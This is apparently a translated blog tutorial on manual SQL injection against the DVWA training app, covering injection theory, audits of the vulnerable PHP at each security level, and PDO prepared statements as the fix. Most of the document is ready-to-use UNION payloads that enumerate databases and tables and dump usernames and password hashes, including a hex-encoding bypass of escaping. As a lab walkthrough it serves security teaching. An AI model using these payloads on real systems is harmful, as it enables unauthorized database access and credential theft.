DVWA-----SQL Injection (SQL manual injection)

Table of contents

1. SQL injection

1. The principle of SQL injection

 2. SQL injection classification

3. SQL injection ideas

4. SQL injection bypass method

2. Analysis of SQL Injection Vulnerabilities

        1. Definition

2. Reason

3. Harm

3. Web program three-tier architecture

Fourth, SQL Injection

1.LOW

2.Medium

 3.High

 4.Impossible


1. SQL injection

1. The principle of SQL injection

         By inserting malicious sql commands into the web form and submitting them to the server, or entering the query string of the domain name or page request and submitting them to the server, it is possible to deceive the server and let the server execute these malicious sql commands, so that the attacker can bypass some mechanisms , an attack method to directly access the database.

 2. SQL injection classification

(1) Digital       

(2) Character type 

(3) Error injection    

(4) Boollean injection   

(5) Time injection

3. SQL injection ideas

(1). Determine whether there is an injection, whether the injection is a character or a number

(2). Guess the number of fields in the SQL query statement

(3). Determine the echo position

(4). Get the current database

(5). Get the table in the database

(6). Get the field name in the table

(7). Get data

4. SQL injection bypass method

(1) Comment symbol bypass (2) Case bypass (3) Inline comment bypass

(4) Special encoding bypass (5) Space filter bypass (6) Filter or and xor not bypass

2. Analysis of SQL Injection Vulnerabilities
1. Definition

        SQL Injection (SQLi) is an injection attack that executes malicious SQL statements. It gives an attacker full control over the database server behind a web application by inserting arbitrary SQL code into database queries. Attackers can use SQL injection vulnerabilities to bypass application security measures; can bypass authentication and authorization of web pages or web applications, and retrieve the contents of the entire SQL database; can also use SQL injection to add, modify, and delete entries in the database Record.

2. Reason

(1) The reason for the existence of SQL injection vulnerabilities is splicing SQL parameters. That is, the query parameters used for input are directly spliced ​​into the SQL statement, resulting in a SQL injection vulnerability.

(2) Web developers cannot guarantee that all input has been filtered

(3) The attacker uses the input parameters sent to the server to construct executable SQL code (which can be added to get requests, post requests, http headers, and cookies)

(4) The database has not been properly configured for security

3. Harm

  • Guessing the background database is the most used way to steal sensitive information from websites.
  • Bypass authentication, such as bypassing authentication to log in to the background of the website.
  • Injection can use the stored procedures of the database to perform privilege escalation and other operations.

3. Web program three-tier architecture

The three-tier architecture (3-tier architecture) generally means that the entire business application is divided into:

    1. User Interface layer

    2. Business Logic Layer

    3. Data access layer (Data access layer).

In software architecture design, layered structure is the most common and most important structure, which is applied to many types of software development.
The web application driven by the database is also divided into three layers according to the idea of ​​three-tier architecture:

    1. Presentation layer.

    2. Business logic layer (also known as domain layer)

    3. Data access layer (also known as storage layer)

Topology

In the figure above, the user accesses the server of the laboratory building through the following process:

    Enter www.shiyanlou.com in the web browser to connect to the laboratory server.

    The web server of the business logic layer loads the index.php script from the local storage and parses it.

    The script connects to the DBMS (database management system) at the data access layer and executes Sql statements.

    The database management system of the data access layer returns the execution result of the Sql statement to the Web server.

    The Web server in the business logic layer encapsulates the Web page into HTML format and sends it to the Web browser in the presentation layer.

    The Web browser at the presentation layer parses the HTML file and presents the content to the user.

In the three-tier architecture, all communication must go through the middle layer. Simply put, the three-tier architecture is a linear relationship.

Fourth, SQL Injection

1.LOW

code audit

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    mysqli_close($GLOBALS["___mysqli_ston"]);
}

?> 

 SQL statements executed in the background

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

Vulnerability analysis

(1) Determine the injection type , whether it is a numeric injection or a character injection.

One of the biggest differences between character type and number type is that number type does not need to be closed with single quotes, while strings generally need to be closed with single quotes.

We input 1 and check that the echo is normal (id=1 in the URL, indicating that the php page passes parameters through the get method).

 The actual execution of the sql statement is

SELECT first_name, last_name FROM users WHERE user_id = '1';

We input 1' to see the echo, and the result is an error.

We can guess that it is a character injection , continue to enter 1' and '1' = '1 and 1' and '1'='2.

1'and '1'='1 normal echo

 1'and '1'='2 report an error

We report an error based on id=1' and id=1'and '1'='1 are correct, we can be sure that it is a character injection , and we will know that it is a character injection when we check the source code.

(2) Determine the number of fields order by 

We use order by to judge the number of fields, and it is the number of fields until order by reports an error.

Enter 1' order by 1# SQL statement executed in the background

Query the data whose user_id is 1 in the users table and rank it by the first field

SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1#`;(按照Mysql语法,#后面会被注释掉,使用这种方法屏蔽掉后面的单引号,避免语法错误)

 id=1' order by 2# No error reported

 id=1' order by 3# reported an error, indicating that the field has only 2 columns.

(3) Judging the echo position    joint query union select

        The union operator can combine the query result sets of two or more select statements into one result set for display, that is, execute a union query. It should be noted that the number of columns in the main query needs to be the same as that of the main query when using the union query , and we already know that the number of columns in the main query is 2, so it will be easy to handle.
Enter 1' union select database(), user()# to query:

  • database() will return the name of the database used by the current website.
  • user() will return the name of the user executing the current query.

The actual executed sql statement:

SELECT first_name, last_name FROM users WHERE user_id = '1' union select database(),user()#`;

1' union select database(),user()#

Through the information returned in the above figure, we successfully obtained:

    The database used by the current website is dvwa.
    The current query user name is root@localhost.

In the same way, let's enter 1' union select version(), @@version_compile_os# to query:

    version() Get the current database version.
    @@version_compile_os Get the current operating system.

Sql statement actually executed:

SELECT first_name, last_name FROM users WHERE user_id = '1' union select version(),@@version_compile_os#`;

1' union select version(),@@version_compile_os# 

Through the information returned in the above figure, we successfully obtained:

  • The current database version is: 5.7.26
  • The current operating system is: win64

Determine the echo position 1' union select 1,2#

Judgment database 1' union select 1,detabase()#

(4) Get the table name.
        information_schema is a table that comes with mysql. This data table saves the information of all databases of the Mysql server, such as the database name, the table of the database, the data type and access authority of the table column, etc. The database has a data table named tables , which contains two fields table_name and table_schema , which respectively record the stored table name and the database where the table name is located in the DBMS .

输入1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#

1' union select 1, group_concat(table_name) from information_schema.tables where table_schema='dvwa' #Query :
The actual executed Sql statement is:

SELECT first_name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#`;

SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#;

 Found an error   Illegal mix of collations for operation 'UNION'

 Solution : I searched on Baidu because of the encoding problem. After further searching, I found that the encoding can be modified by downloading PhpMyAdmin. The specific steps are as follows:

Open Xiaopi and download phpmyadmin

 Click Manage, a browser opens, and log in to your root database.

Click on the database dvwa, operation, sorting rules , change the original encoding to "utf8_general_ci", check to change all table rules, execute, restart Xiaopi and dvwa.

 1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa' #

both are fine

By returning the information in the above figure, we can get:

  • The dvwa database has two data tables, guestbook and users.

Get the field name in the table
Get the field name in the table from the users table
1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#

Actual Sql statement:

SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#';

 Get the data in the field

Guess that the fields of the users table are user and password, so enter: 1' union select user,password from users # Query: The
actual executed Sql statement is:

SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users#`;

Get data 1' union select user,password from users# 

 It can be seen that the user name and password are successfully exploded. The password is encrypted with md5 and can be www.cmd5.comdecrypted.

sum up

#判断注入类型 数字 字符(看是否有单引号闭合)
id=1  id=1'
1' and '1' ='1和1' and '1'='2

#判断字段数                                     
order by 
id=1' order by 1#

#判断回显  联合查询 union select
1' union select database(),user()#    #数据库 用户名
1' union select version(),@@version_compile_os#   #数据库版本  操作系统

#获取表名
1' union select table_name,table_schema from information_schema.tables where table_schema= 'database'#   
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='database'#

#获取表中的字段名
1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#

#获取表中的数据
1' union select user,password from users 

2.Medium

code audit

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];

    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Display values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?> 
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

$query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

We can see that a drop-down option box has been added here, and the content to be queried cannot be entered, only 1-5 can be selected, and single quotes are filtered, and escapes are used to prevent SQL injection.

Vulnerability recurrence

Our bypass measures are to use burpsuite to capture packets or use the browser plug-in Hackbar

Then modify the id step by step according to the above sql injection process to resend the package to update the data until the administrator account and password are obtained.

 hackbar

Submit=Submit&id=1

id=1' found that the 'English single quotes are escaped, so the Medium level cannot be used' 

Submit=Submit&id=1'

#判断字段数
Submit=Submit&id=1 order by 2 #
#联合查询
#查询数据库
Submit=Submit&id=1 union select database(),user()# 

#获取表名
Submit=Submit&id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='database'#

#获取表中的字段名
Submit=Submit&id=1 union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#

#查询users里面的用户名和密码
Submit=Submit&id=1 union select user,password from users #

bp captures packets, ctrl+r sends to Repeater.

 id=1 return page is normal

#判断字段数
id=1 order by 2#
#判断回显  联合查询 union select
1 union select database(),user()#    #数据库 用户名
1 union select version(),@@version_compile_os#   #数据库版本  操作系统

#获取表名
1 union select table_name,table_schema from information_schema.tables where table_schema= database()#   
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

#获取表中的字段名
1 union select 1, group_concat(column_name) from information_schema.columns where table_name=0x7573657273#  users十六进制: 0x7573657273 


#获取表中的数据
1 union select user,password from users 

Note that when obtaining the field name , there will be no response, because the source code escapes the single quotation mark, we use hexadecimal to bypass, and know that the hexadecimal of users is 0x7573657273

 

 3.High

code audit

<?php

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
}

?> 

 We can see that limit 1 has been added as a limit, which means that if one result is scanned, it will not be scanned downwards, and only one result will be output.

Moreover, the query submission page and the query result display page are not the same, and no 302 jump is performed. The purpose of this is to prevent general sqlmap injection (automatic injection), because sqlmap cannot be obtained on the query submission page during the injection process. The results of the query, without feedback, cannot be further injected.

Vulnerability recurrence

It is the same as low-level sql injection, and the difference from lowid level is that the value entered on the new page sessionis stored on the server side through the method. Note that the comment # (%23) is enough.

 

 4.Impossible

code audit

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();
        $row = $data->fetch();

        // Make sure only 1 result is returned
        if( $data->rowCount() == 1 ) {
            // Get values
            $first = $row[ 'first_name' ];
            $last  = $row[ 'last_name' ];

            // Feedback for end user
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

We can see that the code uses PDO technology, which draws a clear boundary between code and data, and effectively prevents SQL injection.

  • Check Anti-CSRF token part:

To prevent CSRF attacks, Token is generated on the server side. If the front end uses the username/password to request authentication from the server, and the server authentication is successful, then the server will return Token to the front end. The front end can bring Token every time it requests to prove its legal status

  • Was a number entered? section:

The is_numeric() function is used to detect whether a variable is a number or a string of numbers.
$data = $db->prepare precompile sql statement, which can prevent sql injection.

  • Make sure only 1 result is returned部分:

$data->rowCount() == 1 limits the return to only one statement.

Let's try it out and enter 1

Judging the injection type, it is difficult to find the injection point at the Impossible level.

1 and 1=2
1'and '1'='2

 Query the echo position and find no results

1' union select 1,3 #

 PDO technology:
1. After the SQL statement instantiates the object, preprocess the sql statement requesting mysql. Here, we use the placeholder method. After the sql is passed to the prepare function, the preprocessing function will get the sql template class of the query statement and return the template class. The template can prevent those tricky The variables change the semantics of the query itself.
2. Two methods can be used to bind parameters to sql templates, bindValue and bindParam. The difference can be seen through the code, bindValue is the incoming value, and bindParam is the incoming variable. The first parameter "Number" in the two functions represents the number parameter in the placeholder.
3. execute( ) executes the prepared statement, and fetchAll( ) returns an array containing all result set rows.
After php5.3.6, PDO will not splice sql locally and then pass the spliced ​​sql to the mysql server for processing (that is, it will not perform escape processing locally). The PDO processing method is to pass the preprocessed sql template (including placeholders) to the mysql server through the mysql protocol when the prepare function is called, and tell the mysql server the structure and semantics of the template. When calling execute, two parameters are passed to the mysql server. The transfer processing of variables is completed by the mysql server. The sql template and variables are passed twice, which solves the problem of sql injection.

Guess you like

Origin blog.csdn.net/m0_65712192/article/details/127940489